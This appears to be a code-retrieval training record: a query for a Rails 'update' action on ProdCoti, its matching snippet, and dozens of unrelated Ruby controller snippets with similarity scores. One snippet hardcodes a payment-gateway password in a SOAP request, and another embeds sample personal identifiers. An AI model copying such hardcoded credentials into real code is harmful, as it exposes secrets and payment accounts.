Mapeando Departamentos e Seções ativas\n\t\t@secoes = Section.where(\"ativo = 't'\")\n\t\t@departamentos = Departamento.where(\"ativo = 't'\")\n\t\tif !defined?($CarrinhoCompras)\n\t\t\t$CarrinhoCompras = Array.new()\n\t\t\t@totReg = 0\n\t\tend\n\t\tif !defined?($CarrinhoComprasQuant)\n\t\t\t$CarrinhoComprasQuant = Array.new()\n\t\tend\t\n\t\t\n\t\t@totReg = $CarrinhoCompras.size\n\t\t@prod = params[:prod]\n\t\t$CarrinhoCompras[@totReg] = Produt.find(@prod.to_i).id # ID do Produto\n\t\t$CarrinhoComprasQuant[@totReg] = 1 # QUANTIDADE\n\tend", "def update\n respond_to do |format|\n if @prod_coti.update(prod_coti_params)\n format.html { redirect_to @prod_coti, notice: 'Prod coti was successfully updated.' }\n format.json { render :show, status: :ok, location: @prod_coti }\n else\n format.html { render :edit }\n format.json { render json: @prod_coti.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @cb_ipo = CbIpo.new(cb_ipo_params)\n\n respond_to do |format|\n if @cb_ipo.save\n format.html { redirect_to @cb_ipo, notice: 'Cb ipo was successfully created.' }\n format.json { render :show, status: :created, location: @cb_ipo }\n else\n format.html { render :new }\n format.json { render json: @cb_ipo.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n unread\n\n @cart = current_cart\n if @cart.line_items.empty?\n redirect_to :controller=>'main', :action=>'index', :notice => \"Your cart is empty\"\n return\n end\n\n\n @order = Order.new(params[:order])\n @order.add_line_items_from_cart(current_cart)\n\n @line_item = LineItem.find_by_cart_id(@cart)\n #getting branches\n supermarket = @line_item.product.seller.id\n @branches = Branch.find_all_by_seller_id(supermarket)\n\n # ******* sending request to PegPay server ******************\n # call the http post method\n @date = \"#{Time.now}\"\n url = URI.parse('https://41.190.131.222/pegpaytelecomsapi/PegPayTelecomsApi.asmx?WSDL')\n \n post_xml ='<?xml version=\"1.0\" encoding=\"utf-8\"?>\n <soap:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\">\n <soap:Body>\n <PostTransaction xmlns=\"http://PegPayTelecomsApi/\">\n <trans>\n <DigitalSignature>'+ \"#{digital_signature}\" +'</DigitalSignature>\n <FromTelecom>'+ \"#{@order.pay_type}\" +'</FromTelecom>\n <ToTelecom>'+ \"#{@order.pay_type}\" +'</ToTelecom>\n <PaymentCode>1</PaymentCode>\n <VendorCode>MABIRA</VendorCode>\n <Password>81W30DI846</Password>\n <PaymentDate>'+ Date.today.strftime(\"%m/%d/%Y\") +'</PaymentDate>\n <Telecom></Telecom>\n <CustomerRef>'+\"#{@order.phone_no}\"+'</CustomerRef>\n <CustomerName>'+\"#{@order.name}\"+'</CustomerName>\n <TranAmount>'+\"#{@cart.total_price}\"+'</TranAmount>\n <TranCharge>0</TranCharge>\n <VendorTranId>1</VendorTranId>\n <ToAccount></ToAccount>\n <FromAccount>'+\"#{@order.phone_no}\"+'</FromAccount>\n <TranType>PULL</TranType>\n </trans>\n </PostTransaction>\n </soap:Body>\n </soap:Envelope>'\n\n peg_pay_status_code = make_http_request(url, post_xml)\n puts \"status code============================================\" \n puts peg_pay_status_code\n puts \"status code============================================\"\n # ******* end of sending request to yo! payments server ******************\n message=getTransactionStatus(peg_pay_status_code )\n message\n\n respond_to do |format|\n if peg_pay_status_code == 0\n if @order.save\n Cart.destroy(session[:cart_id])\n session[:cart_id] = nil\n Notifier.order_received(@order).deliver\n flash[:notice] = 'Thank you for your order.' \n format.html { redirect_to(:controller=>'main', :action=>'index') }\n format.json { render json: @order, status: :created, location: @order }\n else\n format.html { render action: \"new\" }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n else\n flash[:notice]= message\n\n format.html { render action: \"new\" }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @cartum = Cartum.new(params[:cartum])\n\n respond_to do |format|\n if @cartum.save\n format.html { redirect_to @cartum, notice: 'Cartum was successfully created.' }\n format.json { render json: @cartum, status: :created, location: @cartum }\n else\n format.html { render action: \"new\" }\n format.json { render json: @cartum.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @produto = Produto.new(params[:produto])\n\n respond_to do |format|\n if @produto.save\n format.html { redirect_to @produto, notice: 'Produto was successfully created.' }\n format.json { render json: @produto, status: :created, location: @produto }\n else\n format.html { render action: \"new\" }\n format.json { render json: @produto.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @contract_product = ContractProduct.new(params[:contract_product]) \n respond_to do |format|\n if @contract_product.save\n format.html { redirect_to new_contract_product_url(:contract_id => @contract_product.contract_id), notice: 'Contract product was successfully created.' }\n format.json { render json: @contract_product, status: :created, location: @contract_product }\n else\n format.html { render action: \"new\" }\n format.json { render json: @contract_product.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @produto = Produto.new(produto_params)\n\n respond_to do |format|\n if @produto.save\n format.html { redirect_to @produto, notice: 'Produto was successfully created.' }\n format.json { render :show, status: :created, location: @produto }\n else\n format.html { render :new }\n format.json { render json: @produto.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @produto = Produto.new(produto_params)\n\n respond_to do |format|\n if @produto.save\n format.html { redirect_to @produto, notice: 'Produto was successfully created.' }\n format.json { render :show, status: :created, location: @produto }\n else\n format.html { render :new }\n format.json { render json: @produto.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @produto = Produto.new(produto_params)\n\n respond_to do |format|\n if @produto.save\n format.html { redirect_to @produto, notice: 'Produto was successfully created.' }\n format.json { render :show, status: :created, location: @produto }\n else\n format.html { render :new }\n format.json { render json: @produto.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @otg_crypst = OtgCrypst.new(otg_crypst_params)\n\n respond_to do |format|\n if @otg_crypst.save\n format.html { redirect_to @otg_crypst, notice: 'Otg crypst was successfully created.' }\n format.json { render :show, status: :created, location: @otg_crypst }\n else\n format.html { render :new }\n format.json { render json: @otg_crypst.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @oncokb = Oncokb.new(oncokb_params)\n\n respond_to do |format|\n if @oncokb.save\n format.html { redirect_to @oncokb, notice: 'Oncokb was successfully created.' }\n format.json { render :show, status: :created, location: @oncokb }\n else\n format.html { render :new }\n format.json { render json: @oncokb.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @objeto = Cita.new(cita_params)\n\n respond_to do |format|\n if @objeto.save\n format.html { redirect_to @objeto, notice: \"Cita was successfully created.\" }\n format.json { render :show, status: :created, location: @objeto }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @objeto.errors, status: :unprocessable_entity }\n end\n end\n end", "def comprar_producto\n response = ApiB2b.comprarProducto(params[:sku], params[:cantidad])\n render json: response\n end", "def comprar sku, cantidad, fechaEntrega\n begin\n #sku = (params[:sku]).to_i\n #cantidad = (params[:cantidad]).to_i\n #fechaEntrega = (params[:fechaEntrega]).to_time\n if sku != nil\n ## Debemos preguntar si el grupo tiene la cantidad del producto que necesitamos\n proveedor = (Proveedor.find_by skuMateriaPrima: sku)\n grupoProveedor = proveedor.grupoProveedor\n ## Nos conectamos a la API para consultar el stock que tienen\n respuestaStock = RestClient.get 'http://integra'+grupoProveedor.to_s+'.ing.puc.cl/api/consultar/'+sku.to_s ,{:Content_Type => 'application/json'}\n hashRespuesStock = JSON.parse respuestaStock\n ## Si el stock que tienen es suficiente creamos la orden de compra\n if hashRespuesStock['stock'] >= cantidad\n ## Buscamos el id del grupo proveedor\n idGrupo = (IdGrupoProduccion.find_by numeroGrupo: grupoProveedor).idGrupo\n ## Creamos la orden de compra\n ## Fecha en el formato pedido!\n fechaEnFormato = (fechaEntrega.to_i) * 1000\n precio = proveedor.precio\n ## En produccion\n ordenCompra=RestClient.put 'http://moto.ing.puc.cl/oc/crear/', {:cliente => '572aac69bdb6d403005fb042', :proveedor => idGrupo, :sku => sku, :fechaEntrega => fechaEnFormato, :cantidad => cantidad, :precioUnitario => precio, :canal => 'b2b'}.to_json, :content_type => 'application/json'#ambiente\n ## En desarrollo\n ##ordenCompra=RestClient.put 'http://moto.ing.puc.cl/oc/crear/', {:cliente => '572aac69bdb6d403005fb042', :proveedor => idGrupo, :sku => sku, :fechaEntrega => fechaEnFormato, :cantidad => cantidad, :precioUnitario => precio, :canal => 'b2b'}.to_json, :content_type => 'application/json'\n ## Ya creada la orden de compra tenemos que ir a la aplicacion del grupo proveedor y exigir dicha cantidad\n hashOrdenCompra = JSON.parse ordenCompra\n ## Enviamos al grupo proveedor la orden de compra\n respuestaEnvioOC = RestClient.get 'http://integra'+grupoProveedor.to_s+'.ing.puc.cl/api/oc/recibir/'+hashOrdenCompra['_id'] ,{:Content_Type => 'application/json'}\n hashEnvioOC = JSON.parse respuestaEnvioOC\n ## Esperamos la respuesta y si es positiva tendriamos que guardarla en una base de datos y esperar que nos llegue la factura, que generara el pago automaticamente\n if hashEnvioOC['aceptado'] == true || hashEnvioOC['aceptado'] == 'true' ## ACA SE CAMBIO\n ## Deberiamos guardar en la base de datos que tenemos una orden aceptada\n puts 'se acepto la orden'\n ## Ver bien la insercion!\n Pedido.create(idPedido: hashOrdenCompra['_id'] , creacion: Time.now , proveedor: idGrupo , cantidad: cantidad.to_i , despachado: 0 , fechaEntrega: fechaEntrega.to_i , estado: 'Aceptada' , transaccion: false)\n else\n ## \n puts 'no me lee que la acepto'\n Pedido.create(idPedido: hashOrdenCompra['_id'] , creacion: Time.now , proveedor: idGrupo , cantidad: cantidad.to_i , despachado: 0 , fechaEntrega: fechaEntrega.to_i , estado: 'Rechazada' , transaccion: false)\n end\n ## Luego hay que esperar que el cliente nos despache\n else\n\n end\n end\n rescue\n ## No compra si se cae, deberia alomejor guardar en el log la informacion por la que se cayo\n end\n\n end", "def create\n @cuota_curso = CuotaCurso.new(cuota_curso_params)\n\n respond_to do |format|\n if @cuota_curso.save\n format.html { redirect_to @cuota_curso, notice: 'La cuota del curso se creó correctamente.' }\n format.json { render :show, status: :created, location: @cuota_curso }\n else\n format.html { render :new }\n format.json { render json: @cuota_curso.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @tipocosto = Tipocosto.new(tipocosto_params)\n\n respond_to do |format|\n if @tipocosto.save\n format.html { redirect_to @tipocosto, notice: 'Tipocosto was successfully created.' }\n format.json { render :show, status: :created, location: @tipocosto }\n else\n format.html { render :new }\n format.json { render json: @tipocosto.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @cartella_clinica = CartellaClinica.new(cartella_clinica_params)\n\n respond_to do |format|\n if @cartella_clinica.save\n format.html { redirect_to @cartella_clinica, notice: 'La Cartella clinica è stata creata correttamente.' }\n format.json { render :show, status: :created, location: @cartella_clinica }\n else\n format.html { render :new }\n format.json { render json: @cartella_clinica.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @complaint = Complaint.new(complaint_params)\n @complaint.customer_id = current_user.customer_id\n @complaint.region_id = current_user.customer.region_id\n\n if @complaint.save\n render json: @complaint, status: :created, location: api_v1_complaint_url(@complaint)\n else\n render json: @complaint.errors, status: :unprocessable_entity\n end\n end", "def create\n @procc = Procc.new(procc_params)\n\n respond_to do |format|\n if @procc.save\n format.html { redirect_to @procc, notice: 'Procc was successfully created.' }\n format.json { render :show, status: :created, location: @procc }\n else\n format.html { render :new }\n format.json { render json: @procc.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @produto = Produto.create(produto_params)\n respond_with @produto\n end", "def create\n @tema_curso = TemaCurso.new(tema_curso_params)\n\n respond_to do |format|\n if @tema_curso.save\n format.html { redirect_to @tema_curso, notice: 'Tema do curso criado com sucesso!' }\n format.json { render :show, status: :created, location: @tema_curso }\n else\n format.html { render :new }\n format.json { render json: @tema_curso.errors, status: :unprocessable_entity }\n end\n end\n end", "def create_orcamento\n @produto = Produto.new(produto_params)\n\n respond_to do |format|\n if @produto.save\n format.html { redirect_to edit_produto_path(@produto), notice: '' }\n format.json { render :show, status: :created, location: @produto }\n else\n format.html { render :new }\n format.json { render json: @produto.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @cofi = Cofi.new(params[:cofi])\n\n respond_to do |format|\n if @cofi.save\n format.html { redirect_to cofis_url, notice: 'Cofi was successfully created.' }\n format.json { render json: @cofi, status: :created, location: @cofi }\n else\n format.html { render action: \"new\" }\n format.json { render json: @cofi.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @tinta_sublimacion_producto = TintaSublimacionProducto.new(tinta_sublimacion_producto_params)\n\n respond_to do |format|\n if @tinta_sublimacion_producto.save\n format.html { redirect_to @tinta_sublimacion_producto, notice: 'Tinta sublimacion producto was successfully created.' }\n format.json { render :show, status: :created, location: @tinta_sublimacion_producto }\n else\n format.html { render :new }\n format.json { render json: @tinta_sublimacion_producto.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @tobacco = Tobacco.new(tobacco_params)\n\n respond_to do |format|\n if @tobacco.save\n format.html { redirect_to @tobacco, notice: 'Tobacco was successfully created.' }\n format.json { render :show, status: :created, location: @tobacco }\n else\n format.html { render :new }\n format.json { render json: @tobacco.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @form_primario = FormPrimario.new(form_primario_params)\n\t\n\[email protected] do |clientesTamp|\n\t\t@campos_extra = CamposExtra.new\n\t\t@campos_extra.emailCliente = clientesTamp.email;\n\t\t@campos_extra.nomeCampo = @form_primario.nomeCampo;\n\t\t@campos_extra.tipoCampo = @form_primario.tipoCampo;\n\t\t@campos_extra.itensCombox = @form_primario.itensCombo;\n\t\t@campos_extra.save\n\tend\n\t\n respond_to do |format|\n\t\t@form_primario.emailUsuario = current_usuario.email;\n\t\t if @form_primario.save\n\t\t\tformat.html { redirect_to @form_primario, notice: 'Form primario was successfully created.' }\n\t\t\tformat.json { render :show, status: :created, location: @form_primario }\n\t\t else\n\t\t\tformat.html { render :new }\n\t\t\tformat.json { render json: @form_primario.errors, status: :unprocessable_entity }\n\t\t end\n end\n\t\n end", "def create\n @tecnico = Tecnico.new(params[:tecnico])\n\n respond_to do |format|\n if @tecnico.save\n format.html { redirect_to @tecnico, notice: 'Tecnico criado com sucesso.' }\n format.json { render json: @tecnico, status: :created, location: @tecnico }\n else\n format.html { render action: \"new\" }\n format.json { render json: @tecnico.errors, status: :unprocessable_entity }\n end\n end\n end", "def cta_cte_params\n params.require(:cta_cte).permit(:matriculacion_id, :nro_cta_cte)\n end", "def troca_produto_params\n params.require(:troca_produto).permit(:cliente_id, :produto_id, :estado)\n end", "def create\n @coupom_type = CoupomType.new(coupom_type_params)\n\n respond_to do |format|\n if @coupom_type.save\n format.html { redirect_to @coupom_type, notice: 'Coupom type was successfully created.' }\n format.json { render :show, status: :created, location: @coupom_type }\n else\n format.html { render :new }\n format.json { render json: @coupom_type.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @colegiatura = Colegiatura.new(params[:colegiatura])\n\n respond_to do |format|\n if @colegiatura.save\n format.html { redirect_to @colegiatura, notice: 'Colegiatura was successfully created.' }\n format.json { render json: @colegiatura, status: :created, location: @colegiatura }\n else\n format.html { render action: \"new\" }\n format.json { render json: @colegiatura.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @cpt = Cpt.new(cpt_params)\n\n respond_to do |format|\n if @cpt.save\n format.html { redirect_to @cpt, notice: 'Cpt was successfully created.' }\n format.json { render :show, status: :created, location: @cpt }\n else\n format.html { render :new }\n format.json { render json: @cpt.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n\n require 'uri'\n require 'openssl'\n require 'net/http'\n\n url = URI(\"https://api.us.apiconnect.ibmcloud.com/portal-api-developers-desarrollo/sandbox/creditos_hipotecarios/12/simulaciones\")\n\n http = Net::HTTP.new(url.host, url.port)\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_PEER\n\n request = Net::HTTP::Post.new(url)\n request[\"x-ibm-client-id\"] = ENV[\"ID_DEV_BCI\"]\n request[\"content-type\"] = 'application/json'\n request[\"accept\"] = 'application/json'\n\n parameters = {\n \"anosTasaFija\" => 2,\n \"codMesExclusion\" => 0,\n \"diaVencimiento\" => 10,\n \"indDfl2\" => false,\n \"indPAC\" => false,\n \"mesesGracia\" => 2,\n \"seguroHogarContenido\" => false,\n \"seguroCesantia\" => false,\n \"seguroEnfermedadGrave\" => false,\n \"seguroHospitalizacion\" => false,\n \"codeudor\" => false,\n \"codeudorConSeguroDesgravamen\" => false,\n \"seguroCesantiaServiu\" => 0,\n \"seguroCesantiaDobleProtecion\" => false,\n \"seguroDesgravamenTitular\" => false,\n \"fechaNacimientoTitular\" => \"\",\n \"fechaNacimientoCodeudor\" => \"\",\n \"plazo\" => 5,\n \"renta\" => 1200000,\n \"valorPropiedadUf\" => 10000,\n \"montoCreditoUf\" => 7037,\n \"codTipoBienRaiz\" => \"casa\",\n \"comuna\" => \"Santiago Centro\",\n \"nombreCliente\" => \"Juan\",\n \"apellidoCliente\" => \"Soto\",\n \"emailCliente\" => \"[email protected]\",\n \"fonoCliente\" => 93849284,\n \"ciudad\" => 320,\n \"rutCliente\" => 17307813,\n \"dvCliente\" => \"7\",\n \"region\" => \"8\",\n \"codProducto\" => 12,\n \"codSeguro\" => 1\n }\n\n\n params.each do |p|\n if parameters.key?(p)\n val = params[p]\n parameters[p] = val\n end\n end\n\n request.body = JSON[parameters]\n response = http.request(request)\n\n simulation_result = response.read_body\n\n c_request = CreditRequest.new\n c_request.data = parameters\n c_request.simulation_response = simulation_result\n c_request.save!\n\n respond_to do |format|\n format.json { render :json => simulation_result}\n end\n end", "def create\n @contract = Contrato.new(contract_params)\n\n respond_to do |format|\n if @contract.save\n format.html { redirect_to @contract, notice: 'Contract was successfully created.' }\n format.json { render :show, status: :created, location: @contract }\n else\n format.html { render :new }\n format.json { render json: @contract.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @cet = Cet.new(cet_params)\n\n respond_to do |format|\n if @cet.save\n format.html { redirect_to @cet, notice: 'Cet was successfully created.' }\n format.json { render :show, status: :created, location: @cet }\n else\n format.html { render :new }\n format.json { render json: @cet.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @takipci = Takipci.new(takipci_params)\n\n respond_to do |format|\n if @takipci.save\n format.html { redirect_to @takipci, notice: 'Takipci was successfully created.' }\n format.json { render :show, status: :created, location: @takipci }\n else\n format.html { render :new }\n format.json { render json: @takipci.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @commt = Commt.new(commt_params)\n\n respond_to do |format|\n if @commt.save\n format.html { redirect_to @commt, notice: \"Commt was successfully created.\" }\n format.json { render :show, status: :created, location: @commt }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @commt.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @produto = Produto.new(produto_params)\n\n respond_to do |format|\n if @produto.save\n format.html { redirect_to edit_produto_path(@produto), notice: 'Produto was successfully created.' }\n format.json { render :show, status: :created, location: @produto }\n else\n format.html { render :new }\n format.json { render json: @produto.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @comite = Comite.new(comite_params)\n\n respond_to do |format|\n if @comite.save\n format.html { redirect_to @comite, notice: 'Comite was successfully created.' }\n format.json { render :show, status: :created, location: @comite }\n else\n format.html { render :new }\n format.json { render json: @comite.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @cartucho = Cartucho.new(params[:cartucho])\n\n respond_to do |format|\n if @cartucho.save\n format.html { redirect_to @cartucho, notice: 'Cartucho was successfully created.' }\n format.json { render json: @cartucho, status: :created, location: @cartucho }\n else\n format.html { render action: \"new\" }\n format.json { render json: @cartucho.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n if params[:propietario]\n @negocio_propio = Negocio.find(params[:negocio_id])\n @propietario = Usuario.find(params[:usuario_id])\n authorize! :update, @propietario\n if @propietario.negocios_propios << @negocio_propio\n render json: @propietario.negocios_propios, status: :created\n else\n render json: @propietario.negocios_propios.errors, status: :unprocessable_entity\n end\n else\n @negocio = Negocio.new(parametros_negocio)\n authorize! :create, Negocio\n if @negocio.save\n render json: @negocio, status: :created\n else\n render json: @negocio.errors, status: :unprocessable_entity\n end\n end\n end", "def create\n @product_cost = ProductCost.new(params[:product_cost])\n\t@products = Product.find_all\n\t@tax_masters = TaxMaster.find_all\n\n respond_to do |format|\n if @product_cost.save\n format.html { redirect_to @product_cost, :notice => 'Product cost was successfully created.' }\n format.json { render :json => @product_cost, :status => :created, :location => @product_cost }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @product_cost.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n params[:adm_produto][:perc_comissao] = params[:adm_produto][:perc_comissao].to_f / 100.0 # deixando na forma percentual correta\n @adm_produto = Adm::Produto.new(params[:adm_produto])\n respond_to do |format|\n if @adm_produto.save\n grava_categoria(params[:categorias], @adm_produto)\n logProduto(request.remote_ip, @adm_produto.id, session[:usuario].id, \"Novo produto criado\")\n format.html { redirect_to(:adm_produtos, :notice => 'Produto criado com sucesso') }\n format.xml { render :xml => @adm_produto, :status => :created, :location => @adm_produto }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @adm_produto.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @coment = Coment.new(coment_params)\n\n respond_to do |format|\n if @coment.save\n format.html { redirect_to @coment, notice: \"Coment was successfully created.\" }\n format.json { render :show, status: :created, location: @coment }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @coment.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @caixa = Produto.new(produto_params)\n @caixa.user = current_user\n\n respond_to do |format|\n if @caixa.save\n format.html { redirect_to @caixa, notice: 'Caixa was successfully created.' }\n format.json { render :show, status: :created, location: @caixa }\n else\n format.html { render :new }\n format.json { render json: @caixa.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @tipo_comunicacao = TipoComunicacao.new(tipo_comunicacao_params)\n\n respond_to do |format|\n if @tipo_comunicacao.save\n format.html { redirect_to @tipo_comunicacao, notice: 'Tipo comunicacao was successfully created.' }\n format.json { render :show, status: :created, location: @tipo_comunicacao }\n else\n format.html { render :new }\n format.json { render json: @tipo_comunicacao.errors, status: :unprocessable_entity }\n end\n end\n end", "def postBusinessJsonProcess( entity_id, json)\n params = Hash.new\n params['entity_id'] = entity_id\n params['json'] = json\n return doCurl(\"post\",\"/business/json/process\",params)\n end", "def create\n @inventario_cosa = InventarioCosa.new(inventario_cosa_params)\n\n respond_to do |format|\n if @inventario_cosa.save\n format.html { redirect_to @inventario_cosa, notice: 'Inventario cosa was successfully created.' }\n format.json { render :show, status: :created, location: @inventario_cosa }\n else\n format.html { render :new }\n format.json { render json: @inventario_cosa.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @curso = Curso.new(curso_params)\n\n respond_to do |format|\n if @curso.save\n format.json { render json: \"Curso Creado\", status: :created }\n else\n format.json { render json: @curso.errors}\n end\n end\n end", "def create\n @complaint = Complaint.new(params[:complaint])\n\n if @complaint.save\n render json: @complaint, status: :created, location: @complaint\n else\n render json: @complaint.errors, status: :unprocessable_entity\n end\n end", "def add_tenant_circle(args = {}) \n post(\"/tenantcircles.json/\", args)\nend", "def create\n @solicitacao = Solicitacao.new(solicitacao_params)\n\n respond_to do |format|\n if @solicitacao.save\n @solicitacao.produto_solicitados.each do |item|\n i = Produto.find(item.produto_id)\n i.quantidade = i.quantidade - item.quantidade\n i.save\n end\n format.html { redirect_to @solicitacao, notice: 'Solicitacao was successfully created.' }\n format.json { render action: 'show', status: :created, location: @solicitacao }\n else\n format.html { render action: 'new' }\n format.json { render json: @solicitacao.errors, status: :unprocessable_entity }\n end\n end\n end" ]
[ "0.6184822", "0.60576785", "0.5955267", "0.59391475", "0.58430254", "0.5840807", "0.5837428", "0.58315563", "0.5775817", "0.5759948", "0.5754532", "0.5739815", "0.57256734", "0.57157534", "0.5685645", "0.56800354", "0.5679995", "0.5676887", "0.5661198", "0.5647367", "0.5638326", "0.56334126", "0.5609733", "0.5607298", "0.5595942", "0.5586975", "0.5585054", "0.55826664", "0.55713016", "0.5558561", "0.5555064", "0.55515784", "0.5549207", "0.5547372", "0.5534492", "0.5531029", "0.55306447", "0.5529689", "0.5515104", "0.55082077", "0.5504689", "0.5504205", "0.55024815", "0.5500456", "0.54957426", "0.5495119", "0.54911005", "0.54893035", "0.5471719", "0.5466069", "0.5462133", "0.5460379", "0.545965", "0.5453934", "0.5449923", "0.5449923", "0.5449923", "0.5449498", "0.54476315", "0.5447061", "0.5439368", "0.54247403", "0.54225457", "0.5420717", "0.54153776", "0.5415032", "0.54108614", "0.54075015", "0.54073626", "0.54058653", "0.5404465", "0.54030824", "0.5402079", "0.53950924", "0.5394576", "0.5393694", "0.53931576", "0.5393009", "0.5390114", "0.53890955", "0.53884983", "0.5384726", "0.5383403", "0.5382603", "0.53795105", "0.53794354", "0.53788215", "0.5376943", "0.53686285", "0.5368601", "0.5359808", "0.53591955", "0.53562135", "0.5354545", "0.5351758", "0.535052", "0.5350091", "0.5349978", "0.5349326", "0.53469396" ]
0.6901862
0
PATCH/PUT /prod_cotis/1 PATCH/PUT /prod_cotis/1.json
def update respond_to do |format| if @prod_coti.update(prod_coti_params) format.html { redirect_to @prod_coti, notice: 'Prod coti was successfully updated.' } format.json { render :show, status: :ok, location: @prod_coti } else format.html { render :edit } format.json { render json: @prod_coti.errors, status: :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def update\n respond_to do |format|\n if @cotiz_clo_mul.update(cotiz_clo_mul_params)\n format.html { redirect_to @cotiz_clo_mul, notice: 'Cotiz clo mul was successfully updated.' }\n format.json { render :show, status: :ok, location: @cotiz_clo_mul }\n else\n format.html { render :edit }\n format.json { render json: @cotiz_clo_mul.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @productonegocio = Productonegocio.find(params[:id])\n\n respond_to do |format|\n if @productonegocio.update_attributes(params[:productonegocio])\n format.html { redirect_to @productonegocio, notice: 'Productonegocio was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @productonegocio.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @prod_servi.update(prod_servi_params)\n format.html { redirect_to @prod_servi, notice: 'Prod servi was successfully updated.' }\n format.json { render :show, status: :ok, location: @prod_servi }\n else\n format.html { render :edit }\n format.json { render json: @prod_servi.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n set_associative_criteria @copon, params.require(:copon)\n get_product(@copon, params.require(:copon)[:product])\n respond_to do |format|\n if @copon.update(copon_params)\n format.html { redirect_to @copon, notice: 'Copon was successfully updated.' }\n format.json { render :show, status: :ok, location: @copon }\n else\n format.html { render :edit }\n format.json { render json: @copon.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @contract_product.update_attributes(params[:contract_product])\n format.html { redirect_to @contract_product, notice: 'Contract product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @contract_product.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n # { clinic: {id: references, \"license_id\"=>nil, \"name\"=>string } }\n \n if @clinic.update_attributes(params[:clinic].except(:api_license_id))\n head :no_content\n else\n render json: clinic.errors.full_messages, status: :unprocessable_entity\n end\n end", "def update\n @produto.update(produto_params)\n respond_with @produto\n end", "def update_tenant_circle(args = {}) \n put(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend", "def patch\n headers = {\"If-Match\" => @version}\n response = @context.request :patch, \"#{@path}/#{@id}\", @data.to_json, headers\n @version += 1\n response\n # 'X-HTTP-Method-Override' => 'PATCH'\n end", "def editProd()\n if(!authenticateAdmin(params[:admin_id], params[:admin_auth_key]))\n render json: {status: false, reason: \"Authentication Failed\", data: \"\"}\n return\n end\n p = Product.find(params[:id])\n status = p.update(name: params[:name], price: params[:price].to_f, category_id: params[:cat_id])\n error = \"\"\n if(p.errors.full_messages.count > 0)\n error = c.errors.full_messages[0]\n end\n render json: {status: status, reason: error, data: \"\"}\n end", "def edit_pro\n customer_id = params[\"customer_id\"]\n siret = params[\"siret\"]\n cip = params[\"cip\"]\n raison_sociale = params[\"raison_sociale\"]\n puts params\n puts \"----------------------------------------MAKES NO SENSE\"\n puts params[\"raison_sociale\"]\n puts customer_id\n puts cip\n puts siret\n puts raison_sociale\n puts \"I am in edit pro\"\n\n metafields = ShopifyAPI::Customer.find(customer_id).metafields\n puts metafields[0].key\n puts metafields[0].value\n puts metafields[1].key\n puts metafields[1].value\n puts metafields[2].key\n puts metafields[2].value\n\n metafields[0].value = siret\n metafields[1].value = cip\n metafields[2].value = raison_sociale\n\n puts metafields[0].key\n puts metafields[0].value\n puts metafields[1].key\n puts metafields[1].value\n puts metafields[2].key\n puts metafields[2].value\n\n p metafields[0].save\n p metafields[1].save\n p metafields[2].save\n\n p metafields[0].errors\n p metafields[1].errors\n p metafields[2].errors\n\n puts \"editing tag\"\n\n cus = ShopifyAPI::Customer.find(customer_id)\n p cus\n p cus.tags\n\n cus.tags = \"cip- #{metafields[1].value}, PRO\"\n\n p cus.save\n\n\n\n render json: { metafields: metafields }\n end", "def update\n @produto = Produto.find(params[:id])\n \n params[:produto][:preco_compra] = converte_valor_banco params[:produto][:preco_compra]\n params[:produto][:preco_venda] = converte_valor_banco params[:produto][:preco_venda]\n\n respond_to do |format|\n if @produto.update_attributes(params[:produto])\n format.html { redirect_to @produto, notice: 'Produto was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: 